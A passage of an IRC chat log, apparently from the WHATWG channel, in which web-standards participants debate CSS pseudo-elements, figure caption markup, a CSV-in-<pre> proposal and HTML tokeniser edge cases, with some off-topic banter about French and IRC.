Lachy: One possibility is making ::section(all) work, or similar.  That way if you were using ::section at all, you'd *always* use it.

[09:34:00.0000] <TabAtkins>
And you wouldn't have to distinguish between explicit <article>/<section>/etc

[09:34:01.0000] <TabAtkins>
Of course, this would absolutely require the relaxation of the "only one pseudoelement, and only at the end" requirement.

[09:35:00.0000] <Lachy>
why would it?

[09:35:01.0000] <TabAtkins>
Because it seems silly that you can do section::before but not ::section(1)::before.

[09:35:02.0000] <TabAtkins>
Or ::section > p

[09:36:00.0000] <krijnh>
Silly putty?

[09:36:01.0000] <Lachy>
also, that won't work cause you want to style elements within that pseudo element, you'd have weird stuff like this:  ::section(3) p { color: blue; }

[09:36:02.0000] <TabAtkins>
::silly > putty

[09:36:03.0000] <TabAtkins>
Is that weird?  I don't think so.

[09:36:04.0000] <Lachy>
I don't think pseudo elements normally have descendants

[09:37:00.0000] <TabAtkins>
Not normally.

[09:37:01.0000] <TabAtkins>
But why should that stop us?

[09:37:02.0000] <Lachy>
how does it work with the ::outside pseudo?

[09:37:03.0000] <TabAtkins>
(Also, I think that's mostly an accident of history.)

[09:37:04.0000] <TabAtkins>
Are you asking what ::section(3)::outside would do?

[09:38:00.0000] <Lachy>
no, what does this do: ::outside p { ... }

[09:38:01.0000] <TabAtkins>
Oh, I see.  It would work exactly as you'd think.  ::outside is a wrapper element, and it has the same descendants as its superior parent.

[09:38:02.0000] <Lachy>
I forget with CSS draft outside is defined in

[09:38:03.0000] <TabAtkins>
Generated Content.

[09:39:00.0000] <Lachy>
makes sense

[09:39:01.0000] <TabAtkins>
Hixie's the editor.  >_<

[09:39:02.0000] <Lachy>
he was. Not any more. It's just that no-one has touched it since

[09:39:03.0000] <takkaria>
I wonder if CSS3 will ever be Turing-complete

[09:39:04.0000] <takkaria>
or rather, just CSS

[09:40:00.0000] <Lachy>
takkaria, then what happens with div::outside div

[09:40:01.0000] <Lachy>
I mean, div::outside>div

[09:40:02.0000] <TabAtkins>
That's a very good question, and I think both immediate answers are reasonable.

[09:40:03.0000] <Lachy>
s/takkaria/TabAtkins/

[09:41:00.0000] <TabAtkins>
That is, it would be reasonable for ::outside to have its superior parent as a child, but it would also be reasonable to just say that it doesn't, and that its descendants are identical to those of its superior parent.

[09:41:01.0000] <Lachy>
TabAtkins, takkaria, one of you has to change your name. You're messing with my autocomplete! :-)

[09:41:02.0000] <TabAtkins>
Just type three letters!

[09:41:03.0000] <TabAtkins>
And I could go back to Xanthir, but then nobody knows who I am.

[09:42:00.0000] <Lachy>
no, it's fine. I'll deal with it

[09:42:01.0000] <TabAtkins>
Using the latter would probably work better in conjuction with a theoretical ::inside as well - all three (base element, ::outside, and ::inside) would have the same set of descendants.

[09:43:00.0000] <takkaria>
public-html was getting reasonably technical before this dt thread came along

[09:44:00.0000] <TabAtkins>
It's too easy to blame Shelley, so I'm going to blame Lief for it, takkaria.

[09:44:01.0000] <hsivonen>
who is behind this: http://www.o3mobi.com/ ?

[09:44:02.0000] <Lachy>
takkaria, then it's good the dt thread started then. We can't mess with the status quo, and have public-html become productive all of a sudden. That would create all sorts of confusion.

[09:45:00.0000] <takkaria>
"oh no, a sudden outbreak of productivity!  quick, build a bikeshed over it!"

[09:45:01.0000] <Lachy>
what colour?!

[09:47:00.0000] <takkaria>
"we can't reuse an old colour, we need a new colour, one which no-one has ever even imagined before"

[09:48:00.0000] <TabAtkins>
breenwhip

[09:49:00.0000] <TabAtkins>
So hey, let's talk about <h1> some more.  There was something about figure>h1 containing paragraphs of content, and this being a problem?

[09:49:01.0000] <TabAtkins>
Presumably a styling problem, having paragraphs of 2em-tall text.

[09:49:02.0000] <TabAtkins>
Also maybe a parsing issue?

[09:50:00.0000] <takkaria>
don't think there are parsing isues with <h1>

[09:50:01.0000] <Lachy>
takkaria, we should pick a colour outside of the visible light spectrum so that we can be sure it hasn't been used before

[09:51:00.0000] <TabAtkins>
jgraham_ mentioned a possible parsing issue, but didn't go into details.

[09:54:00.0000] <Lachy>
I'm not sure what parsing issue he was referring to either. I don't know of any that would have any relevance within figure

[09:55:00.0000] <TabAtkins>
All right, I will assume drugs were involved until further notice.

[09:55:01.0000] <da3d>
Lachy: Octarine :)

[09:59:00.0000] <TabAtkins>
So, is the only issue with <h1> in <figure> a display issue?  (One that can be trivially fixed in an author's CSS.)

[09:59:01.0000] <hsivonen>
http://whois.net/whois/o3mobi.com

[09:59:02.0000] <hsivonen>
looks like someone wants to publish interesting software but stay secret about who they are

[10:21:00.0000] <boblet_>
TabAtkins: was the parsing issue from jgraham_ you were referring to the concern about <figure><h1> in legacy AT?

[10:21:01.0000] <TabAtkins>
I dunno.  He didn't give details, so maybe?

[10:22:00.0000] <boblet_>
“jgraham_: I really dislike the idea of using h1 for <details> or <figure>. In particular I would expect it to interact poorly with legacy AT”

[10:22:01.0000] <boblet_>
just in case that’s more info than you already had

[10:22:02.0000] <boblet_>
(a couple of hours ago)

[10:23:00.0000] <zcorpan>
TabAtkins: what if you want <h1> to be the figure content?

[10:24:00.0000] <zcorpan>
<dt> and <legend> cannot be the figure content because they are only allowed in some special places

[10:24:01.0000] <boblet_>
(ah, you were in that conversation I see—ignore)

[10:25:00.0000] <TabAtkins>
zcorpan: Either make the <h1> that's supposed to label the figure come first, or put the <h1> that's supposed to be in the figure content in a wrapper of some sort - only the first h1 *child* of figure would be considered.

[10:27:00.0000] <MikeSmith>
boblet_: thanks for the Google ウェーブ pointer

[10:28:00.0000] <boblet_>
MikeSmith: np—one of my Twitter friends mentioned she’d be going to a Wave talk at Kyoto GUG so it was easy to ask

[10:28:01.0000] <boblet_>
looks like the Tokyo one was earlier

[10:32:00.0000] <gsnedders>
Anyone who speaks French around?

[10:32:01.0000] <Philip`>
I can paste text into Google Translate

[10:32:02.0000] <Philip`>
Does that count?

[10:32:03.0000] <boblet_>
Philip` is armed and dangerous

[10:32:04.0000] <gsnedders>
Philip`: no

[10:34:00.0000] <krijnh>
gsnedders: pourquoi?

[10:34:01.0000] <gsnedders>
krijnh: "les photos du bal de moi" is wrong, is it not? How would I phrase that?

[10:34:02.0000] <MikeSmith>
gsnedders: plh speaks French, plus speaks English with a French accent

[10:35:00.0000] <MikeSmith>
I think Hixie speaks French too

[10:35:01.0000] <gsnedders>
Yeah, Hixie speaks the (Swiss) French of a 10 year old kid.

[10:35:02.0000] <hober>
Hixie: I guess you were right re: s/en-US-x-Hixie/en-US/ in that blog post; an excerpt from it on ajaxian.com includes the full, joke lang="" value

[10:35:03.0000] <MikeSmith>
and karlcow does too a little

[10:35:04.0000] <gsnedders>
But he's asleep right now, so he isn't very useful.

[10:35:05.0000] <Rik|work>
gsnedders: I'm French

[10:35:06.0000] <gavin>
/me speaks french

[10:35:07.0000] <gsnedders>
Rik|work: See above

[10:36:00.0000] <gavin>
"Des photos de moi au bal"?

[10:36:01.0000] <gavin>
"Des photos de mon bal"?

[10:36:02.0000] <Rik|work>
gsnedders: do you speak about pictures of you at a bal or pictures of your bal

[10:36:03.0000] <gsnedders>
Rik|work: Of me at a ball

[10:36:04.0000] <gavin>
my 1st option then

[10:36:05.0000] <gavin>
s/Des/Les/ if desired

[10:37:00.0000] <Rik|work>
gsnedders: "Des photos de moi au bal", as gavin said

[10:37:01.0000] <gsnedders>
Ah, so you'd use à, etc. for what a photo is of?

[10:37:02.0000] <Philip`>
Hint for writing specs: Put the most controversial stuff at the end, so anyone reviewing the document is too tired by that point to comment on it

[10:37:03.0000] <gsnedders>
(Or where it comes from, rather)

[10:38:00.0000] <gavin>
equivalent to "Photos of me _at a_ ball"

[10:38:01.0000] <gsnedders>
Yeah, right

[10:38:02.0000] <gsnedders>
You wouldn't say photos of me of the ball in English either…

[10:39:00.0000] <gsnedders>
Pah. I just need to think more :)

[10:39:01.0000] <TabAtkins>
Though it would be appropriate to say "photos of me from the ball", which would also be "a" in Spanish at least.

[10:39:02.0000] <TabAtkins>
Gah, I mean "de".

[10:40:00.0000] <gavin>
"Mes photos du bal" is "My photos from|of the bal"

[10:40:01.0000] <boblet_>
hober: nice article btw :)

[10:40:02.0000] <gsnedders>
gavin: Yeah, right, I know fine

[10:40:03.0000] <gsnedders>
gavin: I just always fail to think of how to say stuff in French, though I'm fine when given French to read.

[10:41:00.0000] <gavin>
yeah I have that problem too actually... despite having done K-12 entirely in french, I hardly ever get to speak/read it in day-to-day life nowadays

[10:42:00.0000] <gavin>
so its easy to lose familiarity with phrasing/expressions/etc.

[10:43:00.0000] <gsnedders>
All of the French relatives I speak to semi-regularly are bilingual, and as my French has fallen out of practice I've stopped speaking French to them so much (as doing so is harder), hence making my French ever more out of practice

[10:54:00.0000] <tantek>
gsnedders - if you want practice French, especially in speaking about the web, check out #openweb

[10:54:01.0000] <Rik|work>
don't go there, it's full of strange people

[10:55:00.0000] <Rik|work>
gsnedders: if you wanna practice french, come to http://www.paris-web.fr/2009/

[11:00:00.0000] <MikeSmith>
.me sees bruce lawson tweet about object and tries to remember why @classid on object is not defined as a conformant attribute in the spec

[11:01:00.0000] <hsivonen>
MikeSmith: it's product-specific

[11:02:00.0000] <hsivonen>
(to IE)

[11:02:01.0000] <MikeSmith>
ah

[11:02:02.0000] <hsivonen>
MikeSmith: it's also redundant with the mime type-based dispatch

[11:02:03.0000] <MikeSmith>
/me remembers some list discussions now

[11:03:00.0000] <MikeSmith>
hsivonen: thanks

[11:03:01.0000] <MikeSmith>
bruce should just get on IRC

[11:04:00.0000] <MikeSmith>
/me will be glad when this whole microblogging fad is over and people rediscover irc

[11:04:01.0000] <MikeSmith>
Google Wave is basically just IRC, but with images and what-not

[11:05:00.0000] <Philip`>
Google Wave is to IRC as HTML email is to plain text email

[11:05:01.0000] <MikeSmith>
heh

[11:05:02.0000] <MikeSmith>
IRC is just like CB radio, except with text instead of actual talking

[11:06:00.0000] <erlehmann>
Google Wave is to IRC what Battlestar Galactica is to Voyager

[11:06:01.0000] <othermaciej>
IRC is such a crufty and half-assed protocol

[11:06:02.0000] <Rik|work>
MikeSmith: there's a backlog with IRC, not with CB

[11:06:03.0000] <Philip`>
I remember the PowWow chat program (long long ago, before ICQ) where you could see the characters people were typing in real time, and you could change your font and background colour

[11:06:04.0000] <TabAtkins>
The nice thing about tweets is that they are relatively permanent and searchable, unlike your average IRC room.

[11:06:05.0000] <othermaciej>
it's a wonder that it hasn't been either replaced or properly specified by RFC

[11:06:06.0000] <Philip`>
so naturally I had 24pt magenta Comic Sans on a yellow background

[11:06:07.0000] <erlehmann>
Rik|work, there is a backlog on entry with Jabber MUC

[11:06:08.0000] <Philip`>
It was horrid

[11:07:00.0000] <MikeSmith>
LL Cool J once said that IRC rocks the bells

[11:07:01.0000] <erlehmann>
Philip`, iNtErEsTiNg :D

[11:07:02.0000] <MikeSmith>
I think the Too Live Crew said it too

[11:08:00.0000] <Philip`>
erlehmann: Watch out, I think you may have a small animal jumping up and down on your shift key

[11:08:01.0000] <erlehmann>
yurr

[11:08:02.0000] <TabAtkins>
I think we need a text-transform:alternating-caps value.

[11:09:00.0000] <erlehmann>
it will be integrated in CSS3 text modes, together with text-transform:rot13 and text-transform:leet

[11:09:01.0000] <TabAtkins>
I am satisfied with this progress.

[11:09:02.0000] <erlehmann>
CSSquirrel comic about that proposal in three, two, one …

[11:09:03.0000] <Rik|work>
we need text-transform: banner; and text-transform: figlet too

[11:10:00.0000] <Philip`>
othermaciej: You mean like http://tools.ietf.org/html/rfc2810 (plus the subsequent three)?

[11:10:01.0000] <Philip`>
or are those just not "proper"?

[11:10:02.0000] <othermaciej>
Philip`: my understanding is that clients and servers all deviate from those RFCs in various ways (but I could be misinformed)

[11:11:00.0000] <Philip`>
othermaciej: That's true of all specifications, so IRC doesn't seem particularly special in that way

[11:11:01.0000] <Philip`>
Maybe IRC has many more deviations than most protocols, though

[11:12:00.0000] <takkaria>
the IRC RFCs are good enough to write a client with, generally

[11:13:00.0000] <othermaciej>
Philip`: fair enough

[11:13:01.0000] <Philip`>
/me wrote a text-based FPS game which provided an IRC server interface, and it probably totally violated all the RFCs but it actually worked quite nicely with mIRC

[11:20:00.0000] <tantek>
TabAtkins, erlehmann, you should propose those additional text-transform features for CSS4.1, as I did with "text-transform:continental" here: http://lists.w3.org/Archives/Public/www-style/2003Apr/0012.html

[11:24:00.0000] <TabAtkins>
tantek: I see that text-transform:l33t was already suggested in that thread.

[11:25:00.0000] <tantek>
TabAtkins, indeed, although I would suggest text-transform:1337 instead

[11:57:00.0000] <TabAtkins>
tantek, you planning on writing up that <pre separator> proposal anytime soon?

[12:09:00.0000] <Lachy>
TabAtkins, what's the <pre separator> proposal?

[12:09:01.0000] <tantek>
TabAtkins - yes I have a .txt file on it

[12:10:00.0000] <TabAtkins>
Lachy: A proposal to make allow csv data to be treated like a table.  Put it in <pre>, specify what the separator is (tab, comma, etc), and bam.

[12:10:01.0000] <Lachy>
interesting

[12:10:02.0000] <TabAtkins>
I've got a js parser built for it that just swaps the <pre> out for an equivalent <table>.

[12:11:00.0000] <TabAtkins>
tantek mentioned it offhand one day, I thought it was interesting and threw together a parser in about 20 minutes.  Then I spent some time to make a *good* parser that will actually work on real content.

[12:11:01.0000] <TabAtkins>
http://www.xanthir.com/etc/csv.htmlhttp://www.xanthir.com/etc/csv.html

[12:11:02.0000] <TabAtkins>
http://www.xanthir.com/etc/csv.html rather

[12:13:00.0000] <Lachy>
how would that work with styling though? Presumably, a browser implementation would leave the <pre> in the DOM, rather than replacing it, but render it as a table

[12:13:01.0000] <Lachy>
seems like something that could, in theory, be done with an XBL binding

[12:13:02.0000] <tantek>
Lachy - you could use the table pseudo-elements from CSS

[12:13:03.0000] <tantek>
even easier than XBL

[12:13:04.0000] <Lachy>
does CSS have table pseudo-elements now?

[12:13:05.0000] <annevk2>
there are no table psuedo-elements

[12:14:00.0000] <TabAtkins>
Lachy: Dunno, unfortunately.  You'd probably have to go with something like XBL somehow.

[12:14:01.0000] <Lachy>
I suspect annevk2 is right. I've not seen them before

[12:14:02.0000] <annevk2>
and implementing them for this seems a little excessive for something that can be done through scripting

[12:15:00.0000] <Lachy>
I've heard proposals for table related pseudo-classes though, but they wouldn't work here

[12:15:01.0000] <TabAtkins>
Yeah, those discussion were just for :col() and :nth-col()

[12:16:00.0000] <TabAtkins>
You really would need either pseudoelements, or a CSS shadow tree.

[12:16:01.0000] <annevk2>
your feature proposal is not going to make it then :)

[12:17:00.0000] <TabAtkins>
Noes!

[12:17:01.0000] <TabAtkins>
/me cries.

[12:17:02.0000] <dbaron>
I wanted :col() and :nth-col() to be pseudo-classes, not pseudo-elements.

[12:17:03.0000] <TabAtkins>
dbaron: Yeah, we're not trying to abuse those into working here.  ^_^

[12:17:04.0000] <gsnedders>
tantek: I have almost no technical French, so that would be hard.

[12:18:00.0000] <gsnedders>
Rik|work: If you can get my employer to pay for me to go :P

[12:18:01.0000] <Rik`>
gsnedders: which is ?

[12:18:02.0000] <gsnedders>
Rik`: Opera

[12:18:03.0000] <Rik`>
oh, Molly and Chaals are already coming

[12:19:00.0000] <TabAtkins>
The big problem, I think, even bigger than styling, is just how it's supposed to be exposed in the dom.  Part of the point of <pre separator> is that it is supposed to magically *act* like a <table>.

[12:19:01.0000] <gsnedders>
Rik`: Don't you know half this channel works for Opera? :P

[12:19:02.0000] <TabAtkins>
I suggest we just swap the <pre> out in the dom for a <table>.  That solves everything.  ^_^

[12:20:00.0000] <annevk2>
you seriously think all this complexity is worth it over a simple online cvs to HTML <table> converter?

[12:20:01.0000] <annevk2>
because if you do you'd be wrong

[12:20:02.0000] <TabAtkins>
I think it was a fun project to work on.  Tantek's the one with the vision.

[12:20:03.0000] <annevk2>
s/cvs/csv/

[12:20:04.0000] <tantek>
annevk2 - what complexity?

[12:20:05.0000] <Rik`>
gsnedders: you should talk with Chaals, he's really speaking a good French

[12:21:00.0000] <tantek>
and if an online cvs to HTML <table> converter is so simple, where are they? show some URLs - or else it's not simple.

[12:21:01.0000] <gsnedders>
Rik`: I scarcely have the opportunity to speak to him.

[12:22:00.0000] <Rik`>
so do I, lots of unanswered mails :(

[12:22:01.0000] <gsnedders>
Rik`: I could far more easily just talk to one of my French relatives :)

[12:23:00.0000] <tantek>
TabAtkins - the DOM problem is fairly straightforward, on <pre>s with separator, they get the <table> DOM interface as well

[12:23:01.0000] <TabAtkins>
tantek: You mean other than my converter?  ^_^

[12:25:00.0000] <tantek>
TabAtkins - right - your converter does it inline in a document, expressly to demonstrate the utility of <pre separator> - whereas annevk2 is implying a .cvs (like an entire file) to <table> converter

[12:25:01.0000] <TabAtkins>
I found at least one of those, actually.

[12:26:00.0000] <annevk42>
tantek, styling, DOM, etc.

[12:26:01.0000] <tantek>
annevk42, the DOM is a solved problem.

[12:26:02.0000] <annevk42>
tantek, there's no need to have a separate syntax for something that's essentially a table

[12:26:03.0000] <tantek>
give it a .table property that gives a <table> interface, done

[12:27:00.0000] <annevk42>
euhm, no

[12:27:01.0000] <tantek>
annevk42 - the utility is the rapid/easy re-use of all the opengov etc. data out there

[12:27:02.0000] <annevk42>
but I'm not going to waste my time on this -- have fun :)

[12:27:03.0000] <tantek>
your phrase "essentially a table" completely misses the point of the current difficulties that the open gov and science communities have today with datasets

[12:28:00.0000] <TabAtkins>
http://plugins.jquery.com/project/csv2table

[12:29:00.0000] <annevk42>
tantek, is the difficulty exporting it to HTML?

[12:30:00.0000] <tantek>
annevk42 yes that's a big part of it, and then having libraries to interact with <table> as they do with csv today.

[12:30:01.0000] <tantek>
also, when you have huge datasets, the tagjunk from explicit <table> markup tends to bloat them (like double the size etc.)

[12:31:00.0000] <tantek>
slows down processing efficiency etc.

[12:31:01.0000] <tantek>
why would you convert your csv to explicit <table> markup if that meant processing your data would take 2 days instead of 1?

[12:32:00.0000] <tantek>
etc.

[12:32:01.0000] <annevk42>
why would you convert it before processing?

[12:42:00.0000] <Guest31664>
/me should probably ask here before he starts filling up Hixie's inbox with old tokenisation issues.

[12:44:00.0000] <and>
Sorry, wrong nickname.

[12:45:00.0000] <and>
1) At end of file, unclosed comments and DOCTYPEs are output, but not unclosed start and end tags. Is there a reason not to output whatever is unclosed at EOF?

[12:46:00.0000] <and>
2) Is it really necessary to handle slashes inside tags as whitespace now when it is handled specially at the end of void elements?

[12:47:00.0000] <and>
3) --!> and -- > (with a space) do not close short comments, i.e., those that contain only two or three hyphens.

[12:48:00.0000] <and>
4) Would it make sense to extend the concept of non-ambiguous ampersand? It is only truly ambiguous before A-Z, a-z and # anyway.

[12:49:00.0000] <annevk42>
2) pretty sure the answer is yes

[12:49:01.0000] <takkaria>
1) was changed for security reaosns from outputting those tags to not outputting them

[12:50:00.0000] <annevk42>
3) might be a bug, dunno

[12:50:01.0000] <and>
In case the last part of the file is missing?

[12:52:00.0000] <takkaria>
yeah, something like that

[12:52:01.0000] <jgraham_>
and: In case an attacker manages to cause an EOF I think

[12:54:00.0000] <jgraham_>
and: I think 3) is because Hixie didn't want those to close comments at all but it is needed for web-compat

[12:54:01.0000] <jgraham_>
so he made it happen in as few places as possible

[12:54:02.0000] <jgraham_>
(but it might be a bug)

[12:55:00.0000] <and>
I do not quite see how the current behaviour helps, though. Presumably, it would be just as easy to insert EOF before the tag as in the middle?

[12:58:00.0000] <annevk42>
prevents executing scripts

[12:59:00.0000] <and>
If there is an onload on the element in question? (I am probably missing something obvious.)

[13:00:00.0000] <and>
s/element/tag/

[13:05:00.0000] <annevk42>
if it's a <script> tag

[13:05:01.0000] <annevk42>
i forgot the exploit details to be honest

[13:07:00.0000] <and>
I guess a <script> tag with an unfinished src attribute might be problematic.

[13:08:00.0000] <and>
Thanks everyone!

[13:09:00.0000] <and>
(though it does not seem particularly easy to exploit)

[13:16:00.0000] <and>
annevk2: I did finish testing encoding labels in IE last week, by the way. In summary:  The "gb2312-80" label does not work. Almost all the (???) encodings seem problematic, most of them perhaps not supported. I have no idea what "x-europa" refers to. UTF-7 and four somewhat obscure Taiwanese encodings have not been tested at all.

[13:18:00.0000] <and>
annevk2: The last sentence on the wiki seems wrong (... make such an effort probable).

[13:23:00.0000] <Philip`>
/me sees that and is in cam.ac.uk

[13:23:01.0000] <Philip`>
It's a hotbed of tokeniser activity :-o

[13:24:00.0000] <TabAtkins>
othermaciej: I was looking for synonyms of figure that started with a d, and settled on <diagram> as well.  ^_^

[13:30:00.0000] <drunknbass_wor>
i know you can use the img to draw to canvas but how does it know the image size?

[13:30:01.0000] <drunknbass_wor>
do Image() have property w and h?

[13:31:00.0000] <Philip`>
They have .width and .height

[13:31:01.0000] <drunknbass_wor>
oh cool

[14:09:00.0000] <annevk42>
and, changed

[14:10:00.0000] <annevk42>
and, IE testing sounds good

[14:10:01.0000] <annevk42>
and, did you find missing things? e.g. most other UAs support "utf8" as alias

[14:11:00.0000] <and>
annevk42: Looks fine now.

[14:12:00.0000] <and>
annevk42: I did not look for missing labels. I did, however, try utf8 since you mentioned it earlier and found that it did *not* work in IE8.

[14:12:01.0000] <gsnedders>
Anyone have any clue as to the status of html5lib Ruby?

[14:13:00.0000] <annevk42>
and, k

[14:15:00.0000] <gsnedders>
Also, and one know how to run the tests for Ruby?

[14:20:00.0000] <othermaciej>
TabAtkins: I think <diagram> is less good as a name for what <figure> does, enough to make the benefit of d-alignment not worth it

[14:20:01.0000] <TabAtkins>
othermaciej: I agree, unfortunately.

[14:20:02.0000] <TabAtkins>
But I also think that <dt>/<dd> in <figure> just feels *retarded*.

[14:20:03.0000] <TabAtkins>
We should just call it <digure> and be done with it.

[14:21:00.0000] <Lachy>
haha

[14:22:00.0000] <othermaciej>
TabAtkins: my own feeling on it was "a little odd", but it's clear that it's created some highly negative reactions

[14:23:00.0000] <TabAtkins>
It doesn't bother me on the deep level that it seems to for others, but I can definitely understand why they feel that way.

[14:24:00.0000] <TabAtkins>
<dt>/<dd> are clearly associated with <d*> things.  Classically it's <dl>, we had <dialog> for a long time, now <details> (where I think <dt>/<dd> work well), but <figure> is just an odd man out.  It feels like a dirty hack where such a hack shouldn't be necessary.

[14:24:01.0000] <tantekc>
/me is glad <dialog> is out

[14:24:02.0000] <tantekc>
<figure> is also quite a different use-case than <details>

[14:25:00.0000] <erlehmann>
tantekc, what you say

[14:25:01.0000] <Lachy>
I wonder if we could expand details to allow multiple dt/dd pairs, similar to dl, where each dt/dd can be opened or closed individually?

[14:25:02.0000] <othermaciej>
I think a new element to use as a <figure> label is the only other alternative (except maybe <h1>, but <h1> doesn't seem any better than <dt> to me)

[14:25:03.0000] <Lachy>
though, it would mess with the details.open API

[14:25:04.0000] <TabAtkins>
I think <h1> doesn't make people angry.

[14:25:05.0000] <othermaciej>
Lachy: the thought of implementing that makes me cry with sad

[14:25:06.0000] <erlehmann>
othermaciej, i still dont get what problems occur with <legend>

[14:25:07.0000] <tantekc>
has someone written up a whatwg wiki page on the options for "heading-like" elements to use as the caption on a figure?

[14:25:08.0000] <Lachy>
fair enough

[14:25:09.0000] <tantekc>
/me is unable to follow all the email threads

[14:26:00.0000] <othermaciej>
erlehmann: all browsers currently in use parse <legend> in a way that doesn't give the desired DOM

[14:26:01.0000] <Lachy>
TabAtkins, I'm not happy about using h1. It's not a heading, it's a caption

[14:26:02.0000] <erlehmann>
othermaciej, oha.

[14:26:03.0000] <TabAtkins>
tantekc: No, but I've sort of taken up the torch for writing up that stuff.  I meant to start it last weekend, but my internet died on Friday night and still hasn't come back up.

[14:27:00.0000] <erlehmann>
othermaciej, but WHYYY

[14:27:01.0000] <othermaciej>
they either drop it entirely, wrap it in a <fieldset>, or insert empty elements named <legend> and </legend> instead of making a legend with content

[14:27:02.0000] <erlehmann>
urgs

[14:27:03.0000] <erlehmann>
baaaad

[14:27:04.0000] <TabAtkins>
Lachy: Sure, but it's still sort of a heading for the included content.

[14:27:05.0000] <Lachy>
tantekc, othermaciej wrote a nice summarising e-mail that listed most of the options considered

[14:27:06.0000] <tantekc>
ideally we'd reuse <caption> because that's what people refer to when using figure as a term of speech

[14:27:07.0000] <Lachy>
I think it was the dt/dd thread

[14:27:08.0000] <tantekc>
Lachy - yeah, summary emails are also hard to find

[14:27:09.0000] <TabAtkins>
Yeah, <caption> is really the absolute ideal name.

[14:27:10.0000] <Lachy>
I will find it

[14:27:11.0000] <erlehmann>
tantekc, why dont we ?

[14:28:00.0000] <gsnedders>
/me hits issues again with html5lib tests not being JSON despite claiming to be

[14:28:01.0000] <TabAtkins>
But I believe it dies when you try to use <figure><caption></figure> in a <table>?

[14:28:02.0000] <erlehmann>
too much elements already?

[14:28:03.0000] <Lachy>
tantekc, http://www.w3.org/mid/CF65ED73-5D08-4AAD-812B-4DB634E01566⊙ac

[14:28:04.0000] <tantekc>
erlehmann, precisely the question I'm asking, but email sucks so it is difficult to answer

[14:28:05.0000] <othermaciej>
anyone who wants to make a blog post out of that email should feel free to do so

[14:28:06.0000] <erlehmann>
TabAtkins, would that fuck up the DOM as well ?

[14:29:00.0000] <tantekc>
it should be a wiki page because the info evolves over time

[14:29:01.0000] <othermaciej>
the specific problem with caption is that browsers drop it outside of tables (same issue as <legend>) and using it anywhere inside a table breaks out of the current cell to the table top level

[14:29:02.0000] <da3d>
/me proposes adding <faption> for figures...

[14:29:03.0000] <TabAtkins>
<faption><faption><faption>

[14:29:04.0000] <othermaciej>
I agree that it's the best word match for a figure's caption

[14:29:05.0000] <Lachy>
using <caption> is even more problematic than <legend> for backwards compatibility reasons.

[14:29:06.0000] <erlehmann>
FapFapFap

[14:29:07.0000] <TabAtkins>
I feel dirty typing that.

[14:29:08.0000] <tantekc>
othermaciej, by "drop" do you mean "display:none" or not in the DOM tree?

[14:30:00.0000] <othermaciej>
tantekc: not in the DOM

[14:30:01.0000] <erlehmann>
urgs, not again

[14:30:02.0000] <othermaciej>
but the table issue is the big one - it would make <figure> unusable in tables

[14:30:03.0000] <Lachy>
but, I wonder if the parsing could be fixed so that <caption> within <figure> doesn't suffer from the insanity needed elsewhere.

[14:30:04.0000] <tantekc>
indeed

[14:31:00.0000] <erlehmann>
<figure><insanity/></figure>

[14:31:01.0000] <tantekc>
othermaciej - I don't think that's that bad of a problem

[14:31:02.0000] <othermaciej>
Lachy: it can't be fixed retroactively for legacy browsers

[14:31:03.0000] <tantekc>
because such tables are likely due to layout anyway

[14:31:04.0000] <tantekc>
which should be discouraged

[14:31:05.0000] <tantekc>
/me wonders if there is a table of figures use case.

[14:31:06.0000] <Lachy>
othermaciej, yeah, I know, it sucks for legacy browsers. But as a long term plan for new browsers, I don't see why it couldn't work.

[14:32:00.0000] <erlehmann>
Lachy, but HTML is legacy aware

[14:32:01.0000] <Lachy>
though, that doesn't really solve the problem we were trying to avoid with legend

[14:32:02.0000] <othermaciej>
exactly

[14:32:03.0000] <erlehmann>
<figure> with <dd><dt> is already out ?

[14:33:00.0000] <TabAtkins>
Note: the "drops from the DOM" bit of <caption> is crazy!  In FF at least it just drops the element, but still inserts the text content at the appropriate place in the DOM.

[14:33:01.0000] <othermaciej>
the goal is to make figure usable this decade

[14:33:02.0000] <TabAtkins>
erlehmann: figure>dt just feels horrible.

[14:33:03.0000] <othermaciej>
TabAtkins: that's what it does in Safari too

[14:33:04.0000] <othermaciej>
http://software.hixie.ch/utilities/js/live-dom-viewer/?%3C!DOCTYPE%20html%3E%0A%3Ccaption%3Efoo%3C%2Fcaption%3E

[14:34:00.0000] <othermaciej>
I think out of the existing elements with some technical difficulties, <label> has the least severe problems

[14:34:01.0000] <TabAtkins>
I've never been quite sure - is there supposed to be a significant difference between <figure> and <aside>?

[14:34:02.0000] <Lachy>
TabAtkins, yes

[14:35:00.0000] <TabAtkins>
I see that <figure> is supposed to be main-flow content that isn't necessarily required to be presented in its given location.

[14:35:01.0000] <othermaciej>
<figure> is supposed to be roughly for what you could call a figure in print - a picture, chart or table with a caption

[14:35:02.0000] <Lachy>
a <figure> is for the type of thing that would, for instance, be listed in a  Table of Figures commonly found in a book. Asides would never do that

[14:35:03.0000] <othermaciej>
(though in HTML you could also make it a media item, such as a <video>)

[14:36:00.0000] <TabAtkins>
I think I might want to do precisely that, though.  It's tangentially-related content, right?

[14:36:01.0000] <othermaciej>
<aside> is what you would use for a sidebar to a magazine article

[14:36:02.0000] <othermaciej>
or a pull quote

[14:37:00.0000] <Lachy>
yeah, <aside> is something that is out of the flow of the surrounding content

[14:37:01.0000] <TabAtkins>
Hmm.  I get the distinction, but fear it may be cutting things pretty damn finely.

[14:37:02.0000] <Lachy>
I really don't see how they are in any way similar

[14:38:00.0000] <TabAtkins>
Both of them are content that is related to the document, but not in-flow.

[14:38:01.0000] <othermaciej>
in the print realm you'd never confuse the two

[14:38:02.0000] <Lachy>
figures are not necessarily out of the flow

[14:41:00.0000] <TabAtkins>
Actually, I see that it's supposed to always be in-flow, but may be something that could be at least moved out of the text flow for visual reasons.

[14:41:01.0000] <erlehmann>
like a table of figures at the end of the document

[14:41:02.0000] <TabAtkins>
As opposed to <aside>, which isn't a part of the content at all, merely related to it in some way.

[14:42:00.0000] <TabAtkins>
I suppose if I just keep thinking <aside>=<sidebar> I'll be okay.

[14:42:01.0000] <Lachy>
I wish I could show you an example. But all the ones I'm thinking of are in my old text books from Uni, all of which are back home in Australia

[14:43:00.0000] <TabAtkins>
Nah, I've got it in my head; I'm thinking of articles from SciAm which are usually chock full of graphs and figures illustrating things in the article.

[14:43:01.0000] <TabAtkins>
I just dunno if I'll find the distinction useful in practice.

[14:44:00.0000] <TabAtkins>
/me used <dl> in crazy ways in his younger days.

[14:44:01.0000] <erlehmann>
for styling reasons it sure is

[14:44:02.0000] <annodomini>
Why can't we just use h1-h6 and/or hgroup for a figure caption?

[14:44:03.0000] <TabAtkins>
annodomini: That's what I want to do.

[14:45:00.0000] <Lachy>
because a heading is not a caption

[14:45:01.0000] <gsnedders>
